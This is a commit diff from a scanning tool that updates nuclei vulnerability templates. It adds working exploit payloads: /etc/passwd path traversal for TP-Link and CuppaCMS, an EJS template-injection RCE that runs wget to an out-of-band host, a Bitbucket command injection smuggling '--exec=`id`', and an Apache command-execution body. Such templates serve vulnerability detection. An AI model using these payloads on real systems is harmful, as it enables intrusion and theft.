Skip to content

Commit 0d49026

Browse files
hktalenthktalent
committed
up PoCs 2022-09-22
1 parent 95edef3 commit 0d49026

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

45 files changed

+2550
-1966
lines changed

‎config/config.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -99,7 +99,7 @@
9999
"CheckWeakPassword": true,
100100
"esthread": 8,
101101
"hydrathread": 64,
102-
"Fuzzthreads": 32,
102+
"Fuzzthreads": 16,
103103
"enableFingerTitleHeaderMd5Hex": false,
104104
"Cookie": "",
105105
"esUrl": "http://127.0.0.1:9200/%s_index/_doc/%s",

‎config/config_me.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -82,7 +82,7 @@
8282
"FollowRedirects": false,
8383
"MaxRedirects": 3
8484
},
85-
"enableEsSv": false,
85+
"enableEsSv": true,
8686
"CheckWeakPassword": true,
8787
"esthread": 8,
8888
"hydrathread": 64,

‎config/nuclei-templates/README.md

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,
4242

4343
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
4444
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
45-
| cve | 1430 | daffainfo | 631 | cves | 1407 | info | 1474 | http | 3858 |
46-
| panel | 655 | dhiyaneshdk | 584 | exposed-panels | 662 | high | 1009 | file | 76 |
47-
| edb | 563 | pikpikcu | 329 | vulnerabilities | 509 | medium | 818 | network | 51 |
48-
| lfi | 509 | pdteam | 269 | technologies | 282 | critical | 478 | dns | 17 |
49-
| xss | 491 | geeknik | 187 | exposures | 275 | low | 225 | | |
50-
| wordpress | 419 | dwisiswant0 | 169 | misconfiguration | 237 | unknown | 11 | | |
51-
| exposure | 407 | 0x_akoko | 165 | token-spray | 230 | | | | |
52-
| cve2021 | 352 | princechaddha | 151 | workflows | 189 | | | | |
53-
| rce | 337 | ritikchaddha | 137 | default-logins | 103 | | | | |
54-
| wp-plugin | 316 | pussycat0x | 133 | file | 76 | | | | |
55-
56-
**296 directories, 4231 files**.
45+
| cve | 1444 | daffainfo | 631 | cves | 1421 | info | 1482 | http | 3894 |
46+
| panel | 663 | dhiyaneshdk | 594 | exposed-panels | 670 | high | 1031 | file | 76 |
47+
| edb | 565 | pikpikcu | 329 | vulnerabilities | 513 | medium | 818 | network | 52 |
48+
| lfi | 513 | pdteam | 269 | technologies | 283 | critical | 483 | dns | 17 |
49+
| xss | 496 | geeknik | 192 | exposures | 280 | low | 228 | | |
50+
| wordpress | 422 | dwisiswant0 | 169 | misconfiguration | 240 | unknown | 11 | | |
51+
| exposure | 415 | 0x_akoko | 166 | token-spray | 230 | | | | |
52+
| cve2021 | 353 | princechaddha | 151 | workflows | 190 | | | | |
53+
| rce | 338 | ritikchaddha | 137 | default-logins | 103 | | | | |
54+
| wp-plugin | 319 | pussycat0x | 133 | file | 76 | | | | |
55+
56+
**297 directories, 4270 files**.
5757

5858
</td>
5959
</tr>

‎config/nuclei-templates/TEMPLATES-STATS.json

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

‎config/nuclei-templates/TEMPLATES-STATS.md

Lines changed: 1881 additions & 1859 deletions
Large diffs are not rendered by default.

‎config/nuclei-templates/TOP-10.md

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
11
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
22
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
3-
| cve | 1430 | daffainfo | 631 | cves | 1407 | info | 1474 | http | 3858 |
4-
| panel | 655 | dhiyaneshdk | 584 | exposed-panels | 662 | high | 1009 | file | 76 |
5-
| edb | 563 | pikpikcu | 329 | vulnerabilities | 509 | medium | 818 | network | 51 |
6-
| lfi | 509 | pdteam | 269 | technologies | 282 | critical | 478 | dns | 17 |
7-
| xss | 491 | geeknik | 187 | exposures | 275 | low | 225 | | |
8-
| wordpress | 419 | dwisiswant0 | 169 | misconfiguration | 237 | unknown | 11 | | |
9-
| exposure | 407 | 0x_akoko | 165 | token-spray | 230 | | | | |
10-
| cve2021 | 352 | princechaddha | 151 | workflows | 189 | | | | |
11-
| rce | 337 | ritikchaddha | 137 | default-logins | 103 | | | | |
12-
| wp-plugin | 316 | pussycat0x | 133 | file | 76 | | | | |
3+
| cve | 1444 | daffainfo | 631 | cves | 1421 | info | 1482 | http | 3894 |
4+
| panel | 663 | dhiyaneshdk | 594 | exposed-panels | 670 | high | 1031 | file | 76 |
5+
| edb | 565 | pikpikcu | 329 | vulnerabilities | 513 | medium | 818 | network | 52 |
6+
| lfi | 513 | pdteam | 269 | technologies | 283 | critical | 483 | dns | 17 |
7+
| xss | 496 | geeknik | 192 | exposures | 280 | low | 228 | | |
8+
| wordpress | 422 | dwisiswant0 | 169 | misconfiguration | 240 | unknown | 11 | | |
9+
| exposure | 415 | 0x_akoko | 166 | token-spray | 230 | | | | |
10+
| cve2021 | 353 | princechaddha | 151 | workflows | 190 | | | | |
11+
| rce | 338 | ritikchaddha | 137 | default-logins | 103 | | | | |
12+
| wp-plugin | 319 | pussycat0x | 133 | file | 76 | | | | |

‎config/nuclei-templates/cves/2015/CVE-2015-3035.yaml

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
id: CVE-2015-3035
2+
3+
info:
4+
name: Multiple TP-LINK Products Vulnerable - Local File Inclusion
5+
author: 0x_Akoko
6+
severity: high
7+
description: |
8+
Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed.
9+
reference:
10+
- https://seclists.org/fulldisclosure/2015/Apr/26
11+
- https://nvd.nist.gov/vuln/detail/CVE-2015-3035
12+
- https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150410-0_TP-Link_Unauthenticated_local_file_disclosure_vulnerability_v10.txt
13+
- http://www.tp-link.com/en/download/TL-WDR3600_V1.html#Firmware
14+
classification:
15+
cve-id: CVE-2015-3035
16+
metadata:
17+
shodan-query: http.title:"TP-LINK"
18+
verified: "true"
19+
tags: router,lfi,seclists,cve,cve2015,tplink,kev
20+
21+
requests:
22+
- method: GET
23+
path:
24+
- "{{BaseURL}}/login/../../../etc/passwd"
25+
26+
matchers-condition: and
27+
matchers:
28+
- type: regex
29+
regex:
30+
- "root:[x*]:0:0"
31+
32+
- type: status
33+
status:
34+
- 200

‎config/nuclei-templates/cves/2021/CVE-2021-24214.yaml

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
id: CVE-2021-24214
22
info:
3-
name: OpenID Connect Generic Client 3.8.0-3.8.1 - Reflected Cross Site Scripting (XSS) via Login Error
3+
name: WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting
44
author: tess
55
severity: medium
6-
description: The OpenID Connect Generic Client WordPress plugin 3.8.0 and 3.8.1 did not sanitise the login error when output back in the login form, leading to a reflected Cross-Site Scripting issue. This issue does not require authentication and can be exploited with the default configuration.
6+
description: WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.
77
reference:
88
- https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
9-
- https://nvd.nist.gov/vuln/detail/CVE-2021-24214
109
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
10+
- https://nvd.nist.gov/vuln/detail/CVE-2021-24214
1111
classification:
1212
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1313
cvss-score: 6.1
@@ -39,3 +39,5 @@ requests:
3939
- type: status
4040
status:
4141
- 200
42+
43+
# Enhanced by md on 2022/09/19

‎config/nuclei-templates/cves/2021/CVE-2021-42013.yaml

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,13 +42,12 @@ requests:
4242
Origin: {{BaseURL}}
4343
Content-Type: application/x-www-form-urlencoded
4444
45-
echo Echo: CVE-2021-42013; echo; {{cmd}};
45+
echo Content-Type: text/plain; echo; {{cmd}}
4646
4747
stop-at-first-match: true
4848
unsafe: true
4949
matchers-condition: or
5050
matchers:
51-
5251
- type: regex
5352
name: LFI
5453
regex:

‎config/nuclei-templates/cves/2022/CVE-2022-0678.yaml

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,16 @@
11
id: CVE-2022-0678
22

33
info:
4-
name: Microweber < 1.2.11- Cross-Site Scripting
4+
name: Packagist <1.2.11 - Cross-Site Scripting
55
author: tess
66
severity: medium
77
description: |
8-
Cross-site Scripting (XSS) - Reflected in Packagist microweber/microweber prior to 1.2.11. User can escape the meta tag because the user doesn't escape the double-quote in the $redirectUrl parameter when logging out.
8+
Packagist prior to 1.2.11 contains a cross-site scripting vulnerability via microweber/microweber. User can escape the meta tag because the user doesn't escape the double-quote in the $redirectUrl parameter when logging out.
99
reference:
1010
- https://huntr.dev/bounties/d707137a-aace-44c5-b15c-1807035716c0/
1111
- https://twitter.com/CVEnew/status/1495001503249178624?s=20&t=sfABvm7oG39Fd6rG44vQWg
12-
- https://nvd.nist.gov/vuln/detail/CVE-2022-0678
1312
- https://huntr.dev/bounties/d707137a-aace-44c5-b15c-1807035716c0
13+
- https://nvd.nist.gov/vuln/detail/CVE-2022-0678
1414
classification:
1515
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1616
cvss-score: 6.1
@@ -43,3 +43,5 @@ requests:
4343
- type: status
4444
status:
4545
- 404
46+
47+
# Enhanced by md on 2022/09/19

‎config/nuclei-templates/cves/2022/CVE-2022-2544.yaml

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
id: CVE-2022-2544
2+
info:
3+
name: Ninja Job Board < 1.3.3 - Resume Disclosure via Directory Listing
4+
author: tess
5+
severity: high
6+
description: The plugin does not protect the directory where it stores uploaded resumes, making it vulnerable to unauthenticated Directory Listing which allows the download of uploaded resumes.
7+
reference:
8+
- https://plugins.trac.wordpress.org/changeset/2758420/ninja-job-board/trunk/includes/Classes/File/FileHandler.php?old=2126467&old_path=ninja-job-board%2Ftrunk%2Fincludes%2FClasses%2FFile%2FFileHandler.php
9+
- https://wpscan.com/vulnerability/a9bcc68c-eeda-4647-8463-e7e136733053
10+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2544
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-2544
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
14+
cvss-score: 7.5
15+
cve-id: CVE-2022-2544
16+
cwe-id: CWE-425
17+
metadata:
18+
verified: true
19+
tags: ninja,exposure,wpscan,cve,cve2022,wordpress,wp-plugin,wp
20+
21+
requests:
22+
- method: GET
23+
path:
24+
- "{{BaseURL}}/wp/wp-content/uploads/wpjobboard/"
25+
- "{{BaseURL}}/wp-content/uploads/wpjobboard/"
26+
27+
stop-at-first-match: true
28+
matchers-condition: and
29+
matchers:
30+
- type: word
31+
part: body
32+
words:
33+
- "Index of /wp/wp-content/uploads/wpjobboard"
34+
- "Index of /wp-content/uploads/wpjobboard"
35+
36+
- type: word
37+
part: header
38+
words:
39+
- "text/html"
40+
41+
- type: status
42+
status:
43+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-29078.yaml

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
id: CVE-2022-29078
2+
3+
info:
4+
name: Ejs - RCE
5+
author: For3stCo1d
6+
severity: critical
7+
description: |
8+
The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).
9+
reference:
10+
- https://eslam.io/posts/ejs-server-side-template-injection-rce/
11+
- https://github.com/miko550/CVE-2022-29078
12+
- https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
13+
- https://nvd.nist.gov/vuln/detail/CVE-2022-29078
14+
classification:
15+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
16+
cvss-score: 9.8
17+
cve-id: CVE-2022-29078
18+
cwe-id: CWE-74
19+
tags: cve,cve2022,rce,ejs,nodejs,oast
20+
21+
requests:
22+
- raw:
23+
- |
24+
GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
25+
Host: {{Hostname}}
26+
27+
matchers-condition: and
28+
matchers:
29+
- type: word
30+
part: interactsh_protocol # Confirms the HTTP Interaction
31+
words:
32+
- "http"
33+
34+
- type: word
35+
part: body
36+
words:
37+
- "You are viewing page number"

‎config/nuclei-templates/cves/2022/CVE-2022-34121.yaml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
id: CVE-2022-34121
2+
3+
info:
4+
name: CuppaCMS v1.0 - Local File Inclusion
5+
author: edoardottt
6+
severity: high
7+
description: |
8+
Cuppa CMS v1.0 was discovered to contain a local file inclusion (LFI) vulnerability via the component /templates/default/html/windows/right.php.
9+
reference:
10+
- https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-34121
12+
- https://github.com/CuppaCMS/CuppaCMS/issues/18
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
15+
cvss-score: 7.5
16+
cve-id: CVE-2022-34121
17+
cwe-id: CWE-829
18+
metadata:
19+
verified: "true"
20+
tags: cve,cve2022,lfi,cuppa,cms
21+
22+
requests:
23+
- raw:
24+
- |
25+
POST /templates/default/html/windows/right.php HTTP/1.1
26+
Host: {{Hostname}}
27+
Content-Type: application/x-www-form-urlencoded
28+
29+
url=../../../../../../../../../../../../etc/passwd
30+
31+
matchers-condition: and
32+
matchers:
33+
- type: regex
34+
regex:
35+
- "root:[x*]:0:0"
36+
37+
- type: status
38+
status:
39+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-36804.yaml

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
id: CVE-2022-36804
2+
3+
info:
4+
name: Atlassian Bitbucket Command Injection Vulnerability
5+
author: DhiyaneshDk,tess,sullo
6+
severity: high
7+
description: |
8+
Multiple API endpoints in Atlassian Bitbucket Server and Data Center 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1 allows remote attackers with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request.
9+
reference:
10+
- https://github.com/notdls/CVE-2022-36804
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-36804
12+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
13+
- https://jira.atlassian.com/browse/BSERV-13438
14+
classification:
15+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
16+
cvss-score: 8.8
17+
cve-id: CVE-2022-36804
18+
cwe-id: CWE-77
19+
metadata:
20+
shodan-query: http.component:"BitBucket"
21+
tags: cve,cve2022,bitbucket,atlassian
22+
23+
variables:
24+
data: '{{rand_base(5)}}'
25+
26+
requests:
27+
- raw:
28+
- |
29+
GET /rest/api/latest/repos HTTP/1.1
30+
Host: {{Hostname}}
31+
32+
- |
33+
GET /rest/api/latest/projects/{{key}}/repos/{{slug}}/archive?filename={{data}}&at={{data}}&path={{data}}&prefix=ax%00--exec=%60id%60%00--remote=origin HTTP/1.1
34+
Host: {{Hostname}}
35+
36+
iterate-all: true
37+
extractors:
38+
- type: json # type of the extractor
39+
part: body
40+
name: key
41+
json:
42+
- '.["values"] | .[] | .["project"] | .key'
43+
internal: true
44+
45+
- type: json # type of the extractor
46+
part: body
47+
name: slug
48+
json:
49+
- '.["values"] | .[] | .slug'
50+
internal: true
51+
52+
- type: regex
53+
group: 1
54+
regex:
55+
- 'uid=.*\(([a-z]+)\):'
56+
57+
stop-at-first-match: true
58+
matchers-condition: and
59+
matchers:
60+
- type: word
61+
words:
62+
- "com.atlassian.bitbucket.scm.CommandFailedException"
63+
64+
- type: status
65+
status:
66+
- 500

0 commit comments

Comments
 (0)